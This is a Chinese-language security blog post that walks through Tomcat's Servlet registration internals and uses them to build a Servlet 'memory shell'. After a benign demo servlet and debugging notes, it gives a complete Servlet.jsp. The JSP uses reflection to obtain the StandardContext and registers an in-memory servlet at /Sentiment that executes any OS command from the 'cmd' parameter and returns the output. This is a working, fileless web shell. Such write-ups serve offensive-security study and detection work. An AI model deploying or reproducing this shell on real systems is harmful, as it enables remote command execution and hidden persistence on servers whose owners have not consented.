Servlet内存马利用分析
2023-6-27 17:20:0 Author: xz.aliyun.com(查看原文) 阅读量:20 收藏

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，它早期的名称为catalina，后来由Apache、Sun 和其他一些公司及个人共同开发而成，并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选，因为Tomcat 技术先进、性能稳定，成为目前比较流行的Web 应用服务器。Tomcat是应用（java）服务器，它只是一个servlet容器，是Apache的扩展，但它是独立运行的。

从宏观上来看，Tomcat其实是Web服务器和Servlet容器的结合体。

Web服务器：通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。（比如访问某台电脑上的图片文件）

Servlet容器：顾名思义就是存放Servlet对象的东西，Servlet主要作用是处理URL请求。（接受请求、处理请求、响应请求）

Servlet接口一共有五个类分别是init（Servlet对象初始化时调用）、getServletConfig（获取web.xml中Servlet对应的init-param属性）、service（每次处理新的请求时调用）、getServletInfo（返回Servlet的配置信息，可自定义实现）、destroy（结束时调用）：

public interface Servlet {
    void init(ServletConfig var1) throws ServletException;

    ServletConfig getServletConfig();

    void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;

    String getServletInfo();

    void destroy();
}

Demo

Servlet.java

package memoryshell;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class Servlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("Hello,Sentiment!");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

web.xml

<servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>memoryshell.Servlet</servlet-class>
</servlet>
<!--Servlet的请求路径-->
<servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping>

访问/hello

本地没有catalina，所以加了个依赖，可能是版本不对在调试时可能会有一丢丢代码不匹配的问题，但不影响正常流程

依赖

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.19</version>
</dependency>

整个栈在ContextConfig调用了configureStart#webConfig()读取web.xml



然后根据 web.xml 配置 context调用了configureContext()

if (this.ok) {
    this.configureContext(webXml);
}

跟进configureContext()前边依次读取了 Filter、Listenert的配置及其映射，我们直接看后边的 Servlet 部分：


首先通过StandardContextS#createWrapper()，创建wrapper对象

Wrapper（包装器）：代表一个 Servlet，它负责管理一个 Servlet，包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器，它没有子容器了，所以调用它的 addChild 将会报错。

public Wrapper createWrapper() {
Wrapper wrapper = null;
if (wrapperClass != null) {
    try {
        wrapper = (Wrapper) wrapperClass.newInstance();
    } catch (Throwable t) {
        ExceptionUtils.handleThrowable(t);
        log.error("createWrapper", t);
        return (null);
    }
} else {
    wrapper = new StandardWrapper();

接着设置了启动优先级LoadOnStartUp，以及servlet的Name。

设置好优先级后就调用下边的setServletClass()，配置了Servlet的Class。

wrapper.setServletClass(servlet.getServletClass());

最后通过addChild()将创建并配置好的 Wrapper 添加到 Context 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程，接下

来就需要添加Servlet-Mapper了（对应web.xml中的<servlet-mapping>）

取出web.xml中所有配置的Servlet-Mapping，通过context.addServletMappingDecoded()将url路径和servlet类做映射。(这里的/hello、hello就是我们在Mapper中设置的值)

流程

  1. 通过 context.createWapper() 创建 Wapper 对象；
  2. 设置 Servlet 的 LoadOnStartUp 的值；
  3. 设置 Servlet 的 Name；
  4. 设置 Servlet 对应的 Class；
  5. 通过addChild()将创建并配置好的 Wrapper 添加到 Context 中
  6. 通过addServletMappingDecoded()将 url 路径和 servlet 类做映射。

在 org.apache.catalina.core.StandardWapper#loadServlet() 下断点调试：

回溯到StandardContext#startInternal同样也是在处理完listener和filter后，处理Servlet，这也就体现了分析Listener中提到的执行流程(Listener -> Filter -> Servlet)

首先调用了findChildren()，将之前通过addChild()添加的所有Wapper传入loadOnStartup()中处理


跟进loadOnStartup()，children的值就是通过this.findChildren()传入进来的


通过循环将children中的值逐一赋给child，在赋值给wrapper中，之后有一段判断:

if (loadOnStartup >= 0) {
    Integer key = loadOnStartup;
    ArrayList<Wrapper> list = (ArrayList)map.get(key);
    if (list == null) {
        list = new ArrayList();
        map.put(key, list);
    }

    list.add(wrapper);
}

如果loadOnStartup >= 0，就会将wrapper追加到list中，但loadOnStartup 的默认值是-1，


在servlet的配置当中即(web.xml)，<load-on-startup>1</load-on-startup>的含义是：
标记容器是否在启动的时候就加载这个servlet。
当值为0或者大于0时，表示容器在应用启动时就加载这个servlet；
当是一个负数时或者没有指定时，则指示容器在该servlet被选择时才加载。
正数的值越小，启动该servlet的优先级越高。</load-on-startup>

由于我们要注入内存马，且没有配置xml不会在应用启动时就加载这个servlet，因此需要通过反射将值修改为1，将其追加到list中

之后通过load()进行加载，根据具体请求进行初始化、调用、销毁一系列操作

首先通过doGet方法实现恶意类

<%
    HttpServlet httpServlet = new HttpServlet() {
      @Override
      protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read())!=-1){
          resp.getWriter().write(len);
        }
      }

      @Override
      protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
      }
    };

%>

之后还是老办法获取StandardContext：

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%>

反射修改loadOnStartup

<%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%>

最后将 URL 路径与 Servlet 恶意类做映射：

<%
    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/Sentiment", name);
%>

Servlet.jsp

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Sentiment</title>
</head>
<body>
<%
    HttpServlet httpServlet = new HttpServlet() {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
            BufferedInputStream bis = new BufferedInputStream(is);
            int len;
            while ((len = bis.read())!=-1){
                resp.getWriter().write(len);
            }
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            super.doPost(req, resp);
        }
    };

    //获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();

    //从StandardContext.createWapper()获得一个Wapper对象
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = httpServlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(httpServlet);
    newWrapper.setServletClass(httpServlet.getClass().getName());
    //将Wrapper添加到StandardContext
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/Sentiment", name);
%>

访问Servlet.jsp后注入成功


文章来源: https://xz.aliyun.com/t/12629
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